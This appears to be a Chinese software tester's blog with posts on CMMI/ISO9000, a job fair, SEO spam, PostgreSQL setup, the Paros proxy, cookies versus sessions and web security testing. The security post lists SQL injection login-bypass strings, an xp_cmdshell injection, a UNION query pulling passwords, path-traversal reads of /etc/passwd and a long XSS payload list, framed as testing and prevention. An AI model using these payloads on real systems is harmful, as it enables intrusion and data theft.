发布新日志

  • CMMI认证--CMMI,CMM,ISO9000

    2008-03-11 18:10:50

    最近公司在做CMMI认证,目前处于市场调研阶段.

    其实一直以来对CMMI,ISO9000的认知仅限于名称,对于其中的细节并不是很明确;但一直以来对ISO9000和CMMI都没有什么特别好的印象,因为就目前中国的软件企业而言这些认证仅仅是噱头而已;为了过ISO9000和CMMI认证,大家日夜加班仅仅是为了补充上认证中所要求的几项文档,而不管这套流程是否适用于本企业.

    但是不管如何,在众多云集的中国软件企业和软件外包企业中,要想得到他人的认可,认证是必不可少的敲门砖.

    本章就讨论一下CMMI,CMM,ISO9000认证之间的区别和联系.

    1.先介绍一下起源和定义

    (1)CMM:

    CMM是由美国软件工程学会(software engineering institue,简称SEI)制定的一套专门针对软件产品的质量管理和质量保证标准.

    CMM全称为(Capability Maturity Model),中文名称为能力成熟度模型.

    CMM最早始于1987年,为了满足美国联邦政府评估软件供应商能力的要求,美国卡内基-梅隆大学的软件工程研究学院SEI牵头,发布了一份能力成熟框架(Capability Maturity Framework)以及一个成熟度问卷(Maturity Qestionnaire).四年后(即1991年),SEI将成熟度框架进化为软件能力成熟度模型(Capability Maturity Model For Software,简称SW-CMM,即CMM1.0)

    自1991年SW-CMM1.0版本使用两年后,SEI与1993年又推出了CMM1.1版.

    近几年来,CMM又推出了2.0版本,同时进入了ISO体系,称为ISO/IEC15504或SPICE.

    CMM划分为五级:级别越高表明该企业在提供合格软件产品方面的能力越强.

    五级的关键过程域(KPA),共计18个过程域如下:

    • 初级(initial):描述了不成熟,或者说是未定义的过程的组织
    • 可重复级(Repeatable): 需求管理,项目策划,项目监督和控制,供方协定管理,测量和分析,过程和产品质量保证,配置管理
    • 已定义级(defined):需求开发,技术解决,产品集成,验证,确认,组织级过程焦点,组织级过程定义,组织培训,集成项目管理,风险管理以及决策分析和决定.
    • 管理级(managed):定量过程管理,软件质量管理
    • 优化级(optimizing):组织革新和部署,原因分析和决定.
    • 一个组织只要开始从事软件开始,即自动处于第1级,要通过其它等级,就需要达到统一的标准,即上述相对应等级中的各个区域过程.

    CMM的评估方法是:CBA-IPI方法(即CMM-Based Assessment for Internal Process Improvement).CBA-IPI方法是一种诊断工具,它借助识别其现行过程的优劣使一个组织能了解其软件开发能力,把这些优缺点与CMM对照起来,安排软件改时计划的优先顺序,并把注意力集中关注到最有利的软件改进上,以及给出其现行过程的成熟度等级和业务目标;此方法是受过培训的专业组对组织的软件过程能力作出评估,该组全体人员作为一个团队一起对评估范围内的CMM关键过程域进行评估和评分.此评估结果是依据所采集的数据作出的,这些数据来自问卷回答\文档审核\陈述以及与中层经理\项目负责人和软件专业人员的深层访谈.

    (2)CMMI

    自CMM1.0版本后,SEI又开发了其他成熟度模型,包括:软件工程(SW-CMM),系统工程(SE-CMM system engineering CMM),软件采购(SA-CMM,software acquistion CMM),人力资源管理(P-CMM,people CMM)和集成产品开发(IPT-CMM integrated product team CMM)等.虽然各个模型针对的专业领域不同,但是彼此之间有一定的重叠;另外,这些模型在表现形工上又有不统一之处:系统工程模型是连续式的,而其它模型采用了分级式.

    为了整合不同模型的最佳实践,建议统一模型,覆盖不同领域,供企业进行整个组织的全面过程改进,并于2001年正式发布了能力成熟度集成模型(CMMI)1.1版本,这次发布标志着CMMI的正式使用.SEI也正式宣布,将不再维护CMM的CBA-IPI评估方法.

    这里需要注意的是,SEI并没有废除CMM模型,而是以CMMI的SCAMPI评估方法取代CMM的CBA-IPI评估方法.

    CMMI的评估方法是:SCAMPI方法(即Standard CMMI Appraisal Method for Process Improvement),SCAPMPI评估方法是一种诊断工具,支持和推动组织对过程改进进行承诺.通过确认组织和一个或多个CMMI模型相关的现有过程的强/弱项,SCAMPI能够帮助组织对它自身的过程能力或组织成熟度有一个全面的了解.

    CMMI的源模型:软件CMM 2.0;电子行业协会临时标准(EIA/IS)731;集成产品开发能力成熟模型(IPD-CMMI)V0.98

    CMMI定义了五级成熟度级别,共计25个过程域:

    • 级别1(初始级):代表了不可预测结果为我自的成熟度.过程包括了一些特别的方法,符号,工作和反应管理,成功主要取决于团队的技能.
    • 级别2(已管理级):代表了以可重复项目执行为特征的过程成熟度.组织使用基本纪律进行需求管理,项目计划,项目监督和控制,供应商协议管理,产品和过程质量保证,配置管理,以及度量和分析.本级别主要的过程焦点在于项目级的活动和实践.
      •   强调级别2的关键过程域的前后一致的、项目级的纪律,以建立组织级的活动和实践。附加的组织级过程域包括:
        • 需求开发:多利益相关者的需求发展。
        • 技术方案:展开的设计和质量工程。
        • 产品集成:持续集成、接口控制、变更控制。
        • 验证:保证产品正确建立的评估技术。
        • 确认:保证建立正确的产品的评估技术。
        • 风险管理:检测、优先级,相关问题和意外的解决方案。
        • 组织级培训:建立机制,培养更多熟练人员。
        • 组织级过程焦点:为项目过程定义建立组织级框架。
        • 决策分析和方案:系统的可选的评估。
        • 组织级过程定义:把过程看做组织的持久的发展的资产。
        • 集成项目管理:在项目内统一各个组和利益相关者。
    • 级别3(严格定义级)代表了以组织内改进项目执行为特征的过程成熟度.
    • 级别4(定量管理级)代表了以改进组织性能为特征的过程成熟度.3级项目的历史结果可用来交替使用,在业务表现的竞争尺度(成本,时间,质量)方面的结果是可预测的.级别4附加的过程域包括:
      • 组织级过程执行:为过程执行设定规范和基准.
      • 定量的项目管理:以统计质量控制方法为基础实施项目.
    • 级别5(优化级)代表了可快速进行重新配置的组织性能和定量的,持续的过程改进为牲的过程成熟度.级别5的附加过程域包括:
      • 因果分析和解决方案:主动避免错误和强化最佳实践
      • 组织级改革和实施:建议一个能够有机适应和改进的学习组织.

    (3)软件企业ISO9000质量管理体系认证

    软件企业贯彻实施ISO9000质量管理体系认证,应当选择质量保证模型标准ISO9001,ISO900-3作为软件企业实施ISO9001质量保证模型标准的实施指南,通过对软件产品从市场调查,需求分析,软件设计,编码,测试等开发工作,直到作为商品软件销售,以及安装及维护整个过程进行控制,保障软件产品的质量.

     

    2.CMM,CMMI,ISO9000之间的联系和区别

    (1)CMM和CMMI的联系及区别:

    • 联系:
      • CMMI即CMM集成,是系统工程和软件工程的集成成熟度模型,CMMI更适合于信息系统集成企业。CMMI是在CMM基础上发展起来的,它继承并发扬了CMM的优良特性,借鉴了其他模型的优点,融入了新的理论和实际研究成果。它不仅能够应用在软件工程领域,而且可以用于系统工程及其他工程领域。
    • 区别:
      • 从等级划分上看,1,3,5级的名称没有变化,均是初始级,已定义和优化;但是2级和4级分别定义为已管理级和定量管理级,这个变化更突出了CMMI定性管理和定量管理的特点.
      • CMMI共有分属于4个类别的25个过程哉,覆盖了4个不同的领域;相对应的CMM共有18个过程域.
      • CMM基本活动的度量方法和瀑布过程的有次序的,基本活动的管理规范有非常密切的联系,更适合瀑布型的开发过程;而CMMI相对CMM更一步支持迭代开发过程和经济动机推动组织采用基于结果的方法:开发业务安全,构想和原型方案,细化后纳入基线结构,可用发布,最后确定为现场版本的发布.
      • CMMI比CMM进一步强化了对需求的重视.在CMM中,关于需求只有需求管理这一个KPA,也就是说强调对有质量的需求进行管理,而如何获取需求则没有提出明确的要求;在CMMI中,3级有一个独立的KPA叫做需求开发,提出了对如何获取优秀的需求的要求和方法.
      • CMMI对工程活动进行了一定的强化.在CMM中只有3级中的软件产品工程和同行评审两个KPA是与工程过程密切相关的;而在CMMI中,则将需求开发,验证,确认,技术解决方案产品集成这些工程过程活动都作为单独的KPA进行了要.
      • CMMI3级中单独强调了风险管理,而在CMM中把风险的管理分散在项目计划,项目跟踪与监控中进行要求.
      • 从评估方法上看,随着CMM过渡到CMMI,其CAF(CMM,Assessment Frame-work)框架变成评估需求(ARC:appraisal requirements for CMMI);IPI-CBA 的评估方法 被 SCAMPI方法替代.

    (2)ISO与CMMI的联系及区别:

    • 联系:两者都共同着眼于质量和过程管理
      • 目前2000版的ISO更多的和CMMI有直接对应的关系,甚至是大量的CMMI4和CMMI5级的要求.
    • 区别:
      • CMMI是专门针对软件产品开发和服务,而ISO9000涉及的范围则相当宽.
      • CMMI强调软件开发过程的成熟度,即过程的不断改进和提高.而ISO9000则强调可接收的质量体系的最低标准.

     

  • 51testing 首场招聘会有感

    2008-03-11 13:29:45

    今天去参加了51testing组织的首届软件测试人员专场招聘会,一开始去的目的就是想了解一下目前国内软件测试市场的行情以及对软件测试人员的要求。

    早上晚起了些,将近中午才到招聘现场,发现有一些招聘摊位已经空了,但是还是有些比如HPSOHU,神州数码,Array,阿里巴巴,百度,文思创新,中软国际等知名企业前排满了前去应聘的人员。

    下面先给出几个单位的招聘海报内容,招聘海报内容是我从51testing 51job上搜罗而来的:

    2.以下是相关分析:

    (1)从各单位的招聘职位来看,主要分为以下几大类:

    • 流程改进方面:SQA
    • 管理方面:测试组长或测试经理
    • 软件测试方面:
    • WEB测试
    • 功能测试工程师
    • 性能测试工程师
    • 自动化测试师
    • 高级性能测试工程师
    • 高级自动化测试工程师
    • 手机测试
    • 硬件测试

    (2)各招聘岗位的任职要求:

    • SQA
    • 至少2年软件过程改进和SQA经验
    • 有一年以上软件产品开发经验,熟悉一门开发语言(如C/C++等)或脚本语言(如Per/python等)
    • 熟悉CMM/CMMI模型
    • 熟悉相关质量知识
    • 参与或主导过软件过程改进
    • 测试组长或测试经理
    • 至少三年以上QA管理经验
    • 至少两年以上质量管理或项目管理经验,熟悉CMM/CMMI质量模型
    • 精通Loadrunner,QTP,QC等测试工具.
    • 熟悉软件测试开发流程,熟悉掌握性能测试和自动化测试方法
    • 参与或主导过软件过程改进
    • 软件测试工程师:
    • 理解测试理论,熟练掌握各种软件的测试方法
    • 对测试流程有一定的理解, 熟悉缺陷管理流程/方法,善于进行缺陷分析
    • 熟练使用TD/ LoadRunner/ Winrunner/ Junit等多种测试工具
    • 掌握一种以上的编程语言,有开发经验的优先,C/C++/Java; Perl/Python/PHP
    • 熟悉网络技术
    • 熟悉软件开发环境
    • 熟悉操作系统:如windows,unix/linux,mac and so on
    • 相关数据库技术: MySql/Oracle

    (3)综合上述,要想做一个优秀而且全能的QA或软件测试师,需要具备以下几点:

    • 测试基础扎实
    • 对测试流程有自己独特的见解,可以根据不同的软件开发模型来定义软件测试模型
    • 掌握使用各种自动化测试工具Loadrunner,QTP 和测试管理工具QC,TD
    • 掌握一种以上的编程语言: C/C++/Java; Perl/Python/PHP
    • 熟悉软件开发环境
    • 熟悉各类操作系统
    • 熟悉相关数据库技术: MySql/Oracle
    • 熟悉网络开发技术
    • 了解CMM/CMMI加分
    • 英语优秀者加分.

     

  • 相关性查询

    2008-02-21 13:03:24

    1.什么是相关性:相关性是指搜索词和页面的相关程度。
    2.相关性排序意思就是指按搜索的内容与文章的意思符合程序从高到低或者从低到高的排列。
    3. Google Analytics 
  • Welcome Mat 和 Interstitial

    2008-02-21 11:16:01

    1.Welcome Mat
    • Welcome Mat翻译成英文的直译是“门口的擦鞋垫”,在美国的一些州,人们为了表示其好客之道,会在门口摆在放擦鞋垫,多写着“欢迎”字样。在这里我们翻译成欢迎界面。
    • 在WEB开发中,客户为了广告效应,往往会要求第一次访问一个页面时先出现欢迎页面。
    • 这个欢迎页面往往需要包括以下几个方面:
      • 网站LOGO
      • 广告
      • 以及跳过此广告的链接。
    • 在开发时,我们要考虑的的问题:
      • 如何插入广告。
      • 欢迎页面持续的时间。
      • 何时会出现欢迎页面,第一次访问时还是只要访问就可以出来欢迎页面。
    2.Interstitial
    • 在中国互联网络信息中心(www.CNNIC.net.cn)关于网站流量术语的解释中,将Interstitial定义为"空隙页面",是这样描述的: "空隙页面是一个在访问者和网站间内容正常递送之中插入的页面。空隙页面被递送给访问者,但实际上并没有被访问者明确请求过。"他们被或多或少地插入和观 看者的反应通常依赖于信息受欢迎或者有趣的程度
    • 空隙页面的主要用途也是用来插入广告,一般有以下几种形式:
      • 飞溅页面,网页通常包含有动态效果,当你点击或者输入网站地址时被暂时链接。《连线》杂志的网站就使用了这种空隙页面。

      • 游戏,插入动态的广告空隙页面到游戏中,这些广告是非常可爱的,用户在享受众多的游戏之一时看起来似乎也很享受这些广告。

  • Search engine SPAM detector

    2008-02-18 15:33:56

    参考地址:http://tool.motoricerca.info/spam-detector/
    1.这个工具是用来干什么的?
    • 这个工具主要分析网页,并查找搜索认为是SPAM的字符。
    • 什么是“Search engine spam”?
      • Search engines want to value web pages analyzing (also) the text that the pages show to users. Some webmasters trick search engines into believing that a page shows to users more/different text than the one really displayed.
    2.使用这个工具将会捕获什么样的信息?
    • 这个工具主要进行以下三方面的检测:
      • keyword stuffing(关键字堆砌):关键字堆砌(keyword stuffing)是指在一个网页中非常密集地放置关键字。一般说来,如果关键字的出现过于频繁,就会盖过网页的其他内容。一个网站会因为关键字堆砌(keyword stuffing)而受到搜索引擎的惩罚,Google似乎对于页面上过度使用关键字非常敏感,因为关键字堆砌会触发过滤器(filter)。搜索引擎巨 人可能对网站采取的惩罚措施包括,降低其在搜索结果中的排名、降低其在Google的PR值以及禁止该网站。
      • doorway farms:是一种作弊技术,是为了使某一个关键字或特定的搜索引擎上获得更好的排名而建立的信息页面,通过Doorway Pages,访问者会访问站内其他更多的页面。
      • hidden text: 一种作弊技术,通过这种技术,网页上的文字被设计来被SPIDER程序而不是人看到。文本可以通过用极小的的字号显示而不被看到,或者使用和背景颜色一样的颜色,或者将关键词被图形或者其他网页元素覆盖等。作弊者在网页上堆积关键词来得到高的搜索排名。
      • 注:以上三种行为,搜索引擎认为是作弊行为。
    3.如果一个WEB程序,它其中包含过多的KEYWORK STUFFING、DOORWAY FARMS、HIDEEN TEST 搜索引擎认为是作弊行为,Google搜索引擎会对其进行处罚,使用的方法通常是降低其在搜索结果中的排名、降低其在Google的PR值以及禁止该网站。

  • postgre sql windows 非安装版 VS django

    2008-02-18 13:13:35

    1.安装:
      (1) 从官方网站(ftp://ftp.postgresql.org/pub/v7.1.3/postgresql-7.1.3.tar.gzlinux宝库博客j/I;Q;s9c4F)d
      
    http://www.postgresql.org/)上下载非安装版的WINDOWS postgre压缩包
      (2) 解压到某一目录下,如D:\postgresql
      (3) 设置环境变量:
           set PATH=%PGHOME%\bin;%PATH%
           PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
           PGDATA=%PGHOME%\data
           PGHOM=D:\postgresql
           PGHOST=localhost
           PGLIB=%PGHOME%\lib
    2.启动数据库:
      (1)进入数据库的解压目录:D:\postgresql\pgsql\bin
      (2)初始化数据:initdb
      (3)启动数据库:pg_ctl start
      (4)停止数据库:pg_ctl stop
      (5)创建数据库:createdb(根据某个应用程序中的setting.py数据库信息来创建数据库)
      (6)创建用户:createuser(根据某个应用程序中的setting.py )
      (7)使用已创建用户登录数据库
          psql -U username databasename
    3. 导入应用程序数据库结构
      (1)应用程序目录,初始化数据库,syncdb(保持数据库处于启动状态)
      (2)返回数据库目录(D:\postgresql\pgsql\bin )查看是否成功导入数据库结构(保证已登录数据)
        * \d;
    4.导入应用程序数据信息
       (1)进入应用程序"初始化"目录
       (2)在该应用程序目录下连接数据库,
       (3)将数据文件导入数据库.

    5.查询表结构:
    \d tablename

    6.删除表:drop table tablename
      note:删除表后,必须在应用程序目录下重新SYNCDB,这样才能把表结构导入数据库.
  • 安全性测试系列之三-安全测试工具(PAROS PROXY)

    2008-02-17 15:01:37

    前两章分别介绍了安全性测试内容和如何进行安全性测试。
    如果通过手工进行安全性测试效率是非常低的,首先你必须要找到安全性测试的切入点,然后逐一对这些切入点进行检查。但寻找切入点是非常耗时而且对测试人员的安全、编码的知识面要求也非常高,再者即使是找到了安全测试切入点,逐一对这些关键点进行测试也是需要大量的时间的。
    为了提高安全测试的效率,我们需要借助一些安全性测试工具。
    1.先介绍一个关于安全性测试工具的网站http://sectools.org/web-scanners.htmlhttp://networking.ctocio.com.cn/tips/463/7703463.shtml
    2.各个安全测试工具的比较大家去看相关文章,在这我们采用的是开源的安全探测工具--Paros proxy
    3.以下是关于paros proxy(v3.2.13)介绍
    (1)安装  
    • 安装JRE
      • 首先确保已安装JRE [Java Run Time Enviroment (JRE) 1.4 (or above) ]
        • 注意:一定要先安装JRE,然后再安装paros proxy,如果先安装paros proxyr后安装JRE,paros proxy将无法启动。
      • 注意:如果找不到JRE,也可以下载相同版本的JDKJDK会带有JRE
    • 配置JRE环境变量:
      • 首先,右击我的电脑-属性-高级-环境变量进入环境变量设置对话框。
      • 设置PATH环境变量,在PATH环境变量中输入JRE的安装路径。
        • JRE的安装目录为:c:\JRE. PATH环境变量中加入c:\JRE
        • 新建CLASSPATH环境变量,在CLASSPATH环境变量中输入LIB路径。
    • 安装和配置paros proxy应用程序
      • 下载地址:http://sourceforge.net/projects/paros/
      • 安装:
        • 如果下载的是WINDOWS版本,安装比较简单。
        • 如果下载的是UNIX或其它平台的版本,则需要手动将程序解压到一个新的目录,并单击.JAR文件运行程序。
      • 配置:
        • paros需要两个端口:8080和8443,其中8080是代理连接端口,8443是SSL端口,所以必须保证这两个端口并未其它程序所占用。(查看端口命令:打开DOS命令窗口,输入 netstat查看目前使用的端口)
          • 如果在安装完成,启动应用程序时,出现初始化错误,极大的可能就是因为这个端口被其它程序所占用。
        • 配置浏览器属性:打开浏览器(如IE),打开工具-选项-连接-LAN设置-选中proxy server,proxyname为:localhost,port为:8080
        • 如果你的计算机运行于防火墙之下,只能通过公司的代理服务器访问网络,你还需要修改PAROS的代理设置,具体的方法是:打开paros-工具-Options-connection,修改"ProxyName" and "ProxyPort"两项为代理服务器的名称和端口.
        • 如果你希望其它的平台可以通过你本地机上的PAROS PROXY来访问WEB SERVER,你需要将本地机上的PAROS PROXY的IP设置为(比如:192.168.0.1)而不是127.0.0.1,因为127.0.0.1只允许本地机使用该应用程序.具体操作方法为:打开paros-工具-options-local proxy,将address
    (2)操作步骤
    • 第一步:打开paros proxy,然后在浏览器中打开被测试程序。
    • 第二步--SPIDER:抓取URL。
      • 执行第一步后,系统会自动抓取被测试站点位于URL层次树中第一层的URL(比如一个网站,其首页的URL一般为层次树第一层),并将这些URL显示在左侧的“site”栏中,然后在site栏中选中某一个URL,右击鼠标选取spider命令或单击analyse菜单-spider命令,系统将抓取该URL层次树中下一层次的URL。
      • 注意:由于paros并不能一些特定的URL路径,比如一些URL链接需要在合法登录后才能被识别出来,因此在进行URL抓取时,一定先要登录网站。
      • 抓取功能不能处理以下情况:
        • 具有非法验证的SSL站点的URL是不能被抓取的。
        • 不支持多线程(也就是说:)
        • 在HTML页中的某些URLS也是不能被识别的。
        • 由javascrīpt生成的URLS也是不能被识别的。
        • 虽然上述这些urls不能被自动抓取,所以我们可以将其手动增加到左侧的“site”栏中,具体的操作方法是:
          • 首先我们要对被测试站点URL的层次树有很好的了解,这样我们才能知道哪个URL抓取了,哪还没有被抓取。
          • 对于未被抓取的URLS,通过打开paros-工具-manual request editor,输入未被抓取的URLS,然后单击SEND按钮,完成手动加入URLS动作,添加成功后的URLS将显示在左侧的“site”栏中。(注:此处存在一个问题,当我输入一个URL后单击发送按钮后,系统总是报错“IO erros is sending request”,查看了一下RESPONSE,结果是我发送的URLS WEB 服务器不能识别,不知道是否对输入的URLS有什么特殊的要求,待定。)
    • 第三步--SCANNER:针对“site”栏中的URLS进行扫描,逐一检查对URLS分别进行安全性检查,验证是否存在安全漏洞。
      • 如果想扫描"site"栏中所有的URLS,单击anaylse-scan all可以启动全部扫描。
      • 如果只想扫描“site”栏中某一URL,选中该URL,右击鼠标,选取scan命令。
      • SCANNER可以对以下几种情况进行检查:
        • SQL注入
        • 跨站点脚本攻击
        • 目录遍历
        • CRLF -- Carriage-Return Line-Feed 回车换行等。
                注:我们可以通过anylse-scan policy进行安全检查的设置。
    • 第四步--查看和验证扫描结果:
      • 扫描完成后,单击Report-Last Scan report,可查看当前的扫描报告。
      • 根据扫描报告,对扫描结果进行验证,比如扫描结果中有一是URL传递的参数中存在SQL注入漏洞,我们将该URL及参数输入到地址栏中,验证结果。
    • 第五步--保存抓取、扫描内容。
      • 保存时应注意:保存的路径不支持特殊字符,比如汉字等,否则会打不开保存后的文件。

  • Cookies 和 Session的区别

    2008-02-17 11:03:45

    参考博客:
    http://hi.baidu.com/hz0916/blog/item/8cd59950a912a761843524a5.html
    http://hi.baidu.com/mjn5618/blog/item/df2e8d027f8bbe0c4afb5161.html
    1.cookie 是一种发送到客户浏览器的文本串句柄,并保存在客户机硬盘上,可以用来在某个WEB站点会话间持久
    的保持数据。
    2.session其实指的就是访问者
    从到达某个特定主页到离开为止的那段时间。 Session其实是利用Cookie进行信息处理的,当用户首先进行了请求后,服务端就在用户浏览器上创建了一个Cookie,当这个Session结束时,其实就是意味着这个Cookie就过期了
    注:为这个用户创建的Cookie的名称是aspsessionid。这个Cookie的唯一目的就是为每一个用户提供不同的身份认证。
    3.cookie和session的共同之处在于:cookie和session都是用来跟踪浏览器用户身份的会话方式。
    4.cookie 和session的区别是:cookie数据保存在客户端,session数据保存在服务器端。
      简单的说,当你登录一个网站的时候,
    •  如果web服务器端使用的是session,那么所有的数据都保存在服务器上,客户端每次请求服务器的时候会发送当前会话的sessionid,服务器根据当前sessionid判断相应的用户数据标志,以确定用户是否登录或具有某种权限。由于数据是存储在服务器上面,所以你不能伪造,但是如果你能够获取某个登录用户的 sessionid,用特殊的浏览器伪造该用户的请求也是能够成功的。sessionid是服务器和客户端链接时候随机分配的,一般来说是不会有重复,但 如果有大量的并发请求,也不是没有重复的可能性.
    •  如果浏览器使用的是cookie,那么所有的数据都保存在浏览器端,比如你登录以后,服务器设置了cookie用户名,那么当你再次请求服务器的时候,浏览器会将用户名一块发送给服务器,这些变量有一定的特殊标记。服务器会解释为cookie变量,所以只要不关闭浏览器,那么cookie变量一直是有效的,所以能够保证长时间不掉线。如果你能够截获某个用户的 cookie变量,然后伪造一个数据包发送过去,那么服务器还是认为你是合法的。所以,使用 cookie被攻击的可能性比较大。如果设置了的有效时间,那么它会将 cookie保存在客户端的硬盘上,下次再访问该网站的时候,浏览器先检查有没有 cookie,如果有的话,就读取该 cookie,然后发送给服务器。如果你在机器上面保存了某个论坛 cookie,有效期是一年,如果有人入侵你的机器,将你的   cookie拷走,然后放在他的浏览器的目录下面,那么他登录该网站的时候就是用你的的身份登录的。所以 cookie是可以伪造的。当然,伪造的时候需要主意,直接copy    cookie文件到 cookie目录,浏览器是不认的,他有一个index.dat文件,存储了 cookie文件的建立时间,以及是否有修改,所以你必须先要有该网站的 cookie文件,并且要从保证时间上骗过浏览器
    5.两个都可以用来存私密的东西,同样也都有有效期的说法,区别在于session是放在服务器上的,过期与否取决于服务期的设定,cookie是存在客户端的,过去与否可以在cookie生成的时候设置进去。

    (1)cookie数据存放在客户的浏览器上,session数据放在服务器上
    (2)cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗,如果主要考虑到安全应当使用session
    (3)session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能,如果主要考虑到减轻服务器性能方面,应当使用COOKIE
    (4)单个cookie在客户端的限制是3K,就是说一个站点在客户端存放的COOKIE不能3K。
    (5)所以:将登陆信息等重要信息存放为SESSION;其他信息如果需要保留,可以放在COOKIE中

  • 安全性测试系列之二-如何对网站进行安全性测试?

    2008-02-15 13:49:59

      DJANGO的那篇文档中只介绍了网络中常见的安全问题以及如何从程序的角度去防御它们,并未介绍如何针对安全问题进行测试.本章的主要内容是针对上章中提及的安全性问题介绍如何进行安全性测试.

      1.SQL Injection(SQL 注入)

      (1)如何进行SQL注入测试?

    • 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
    注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用.

    <form id="form_search" action="/search/" method="get">

    <div>

    <input type="text" name="q" id="search_q" value="" />

    <input name="search" type="image" src="/media/images/site/search_btn.gif" />

    <a href="/search/" class="fl">Gamefinder</a>

    </div>

    </form>

    注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
    • 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--

    注1:根据实际情况,SQL注入请求可以使用以下语句:

    ' or 1=1- -

    " or 1=1- -

    or 1=1- -

    ' or 'a'='a

    " or "a"="a

    ') or ('a'='a 
       注2:为什么是OR,以及',――特殊的字符呢?

    例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password'

    如 输入http://duck/index.asp?username=admin' or 1='1&pwd=11SQL语句会变成以下:sql=select * from user where username='admin' or 1='1' and password='11'

    '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.

    接下来是OR查询条件,OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录.

    如 输入http://duck/index.asp?username=admin'--&pwd=11SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',

     '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行
     接下来是"--"查询条件,“--”
    是忽略或注释,上述通过连接符注释掉后面的密码验证(:ACCESS数据库无效).
    • 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
    • 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.
      (2)如何预防SQL注入?

       从应用程序的角度来讲,我们要做以下三项工作:
    • 转义敏感字符及字符串(SQL的敏感字符包括exec,xp_,sp_,declare,Union,cmd,+,//,..,;, ,--,%,0x, ><=!-*/()| ,空格”).
    • 屏蔽出错信息:阻止攻击者知道攻击的结果

    • 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

       从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:
    • 需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
    • 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.
       当然在执行测试的过程中,我们也需求对上述两项内容进行测试.

      2.Cross-site scritping(XSS):(跨站点脚本攻击)

      (1)如何进行XSS测试?

    • <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
    • <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

    <scrīpt>alert(document.cookie)</scrīpt>


          注:其它的XSS测试语句

    ><scrīpt>alert(document.cookie)</scrīpt>
    ='><scrīpt>alert(document.cookie)</scrīpt>
    <scrīpt>alert(document.cookie)</scrīpt>
    <scrīpt>alert(vulnerable)</scrīpt>
    %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
    <scrīpt>alert('XSS')</scrīpt>
    <img src="javascrīpt:alert('XSS')">
    %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
    %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
    %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
    %3f.jsp
    %3f.jsp
    &lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt
    <scrīpt>alert('Vulnerable')</scrīpt>
    ?sql_debug=1
    a%5c.aspx
    a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
    a/
    a?<scrīpt>alert('Vulnerable')</scrīpt>
    "><scrīpt>alert('Vulnerable')</scrīpt>
    ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
    %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
    %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
    %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
    1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
    ../../../../../../../../etc/passwd
    ..\..\..\..\..\..\..\..\windows\system.ini
    \..\..\..\..\..\..\..\..\windows\system.ini
    '';!--"<XSS>=&{()}
    <IMG SRC="javascrīpt:alert('XSS');">
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    <IMG SRC="jav ascrīpt:alert('XSS');">
    <IMG SRC="jav ascrīpt:alert('XSS');">
    <IMG SRC="jav ascrīpt:alert('XSS');">
    "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
    <IMG SRC=" javascrīpt:alert('XSS');">
    <scrīpt>a=/XSS/alert(a.source)</scrīpt>
